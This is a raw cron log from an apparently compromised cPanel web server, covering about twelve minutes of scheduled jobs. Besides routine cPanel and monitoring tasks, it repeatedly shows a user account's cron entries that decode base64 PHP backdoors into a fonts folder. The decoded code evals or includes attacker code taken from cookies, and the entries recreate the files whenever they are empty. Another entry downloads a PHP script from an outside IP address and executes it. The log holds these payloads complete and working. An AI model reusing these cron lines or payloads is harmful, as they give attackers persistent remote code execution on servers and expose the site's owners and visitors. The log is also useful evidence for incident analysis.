Sep  3 20:40:01 ip-184-168-122-23 CROND[29205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:41:01 ip-184-168-122-23 CROND[29303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:41:01 ip-184-168-122-23 CROND[29306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:41:01 ip-184-168-122-23 CROND[29307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:41:01 ip-184-168-122-23 CROND[29305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:42:01 ip-184-168-122-23 CROND[29401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:42:01 ip-184-168-122-23 CROND[29403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:42:01 ip-184-168-122-23 CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:42:01 ip-184-168-122-23 CROND[29405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:42:01 ip-184-168-122-23 CROND[29406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:43:01 ip-184-168-122-23 CROND[29524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:43:01 ip-184-168-122-23 CROND[29526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:43:01 ip-184-168-122-23 CROND[29530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:43:01 ip-184-168-122-23 CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:44:01 ip-184-168-122-23 CROND[29650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:44:01 ip-184-168-122-23 CROND[29652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:44:01 ip-184-168-122-23 CROND[29653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:44:01 ip-184-168-122-23 CROND[29656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:44:01 ip-184-168-122-23 CROND[29657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:45:01 ip-184-168-122-23 CROND[29750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:45:01 ip-184-168-122-23 CROND[29751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:45:01 ip-184-168-122-23 CROND[29752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:45:01 ip-184-168-122-23 CROND[29757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:45:01 ip-184-168-122-23 CROND[29755]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  3 20:45:01 ip-184-168-122-23 CROND[29758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:45:01 ip-184-168-122-23 CROND[29754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:46:01 ip-184-168-122-23 CROND[29844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:46:01 ip-184-168-122-23 CROND[29845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:46:01 ip-184-168-122-23 CROND[29848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:46:01 ip-184-168-122-23 CROND[29849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:46:01 ip-184-168-122-23 CROND[29852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:46:01 ip-184-168-122-23 CROND[29851]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:46:01 ip-184-168-122-23 CROND[29850]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 20:47:01 ip-184-168-122-23 CROND[29951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:47:01 ip-184-168-122-23 CROND[29953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:47:01 ip-184-168-122-23 CROND[29954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:47:01 ip-184-168-122-23 CROND[29955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:48:01 ip-184-168-122-23 CROND[30038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:48:01 ip-184-168-122-23 CROND[30039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:48:01 ip-184-168-122-23 CROND[30042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:48:01 ip-184-168-122-23 CROND[30045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:48:01 ip-184-168-122-23 CROND[30046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:49:01 ip-184-168-122-23 CROND[30118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:49:01 ip-184-168-122-23 CROND[30119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:49:01 ip-184-168-122-23 CROND[30120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:49:01 ip-184-168-122-23 CROND[30121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:50:01 ip-184-168-122-23 CROND[30300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:50:01 ip-184-168-122-23 CROND[30304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30303]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:50:01 ip-184-168-122-23 CROND[30311]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:51:01 ip-184-168-122-23 CROND[30410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:51:01 ip-184-168-122-23 CROND[30412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:51:01 ip-184-168-122-23 CROND[30413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:51:01 ip-184-168-122-23 CROND[30414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:52:01 ip-184-168-122-23 CROND[30490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:52:02 ip-184-168-122-23 CROND[30493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:52:02 ip-184-168-122-23 CROND[30495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:52:02 ip-184-168-122-23 CROND[30492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
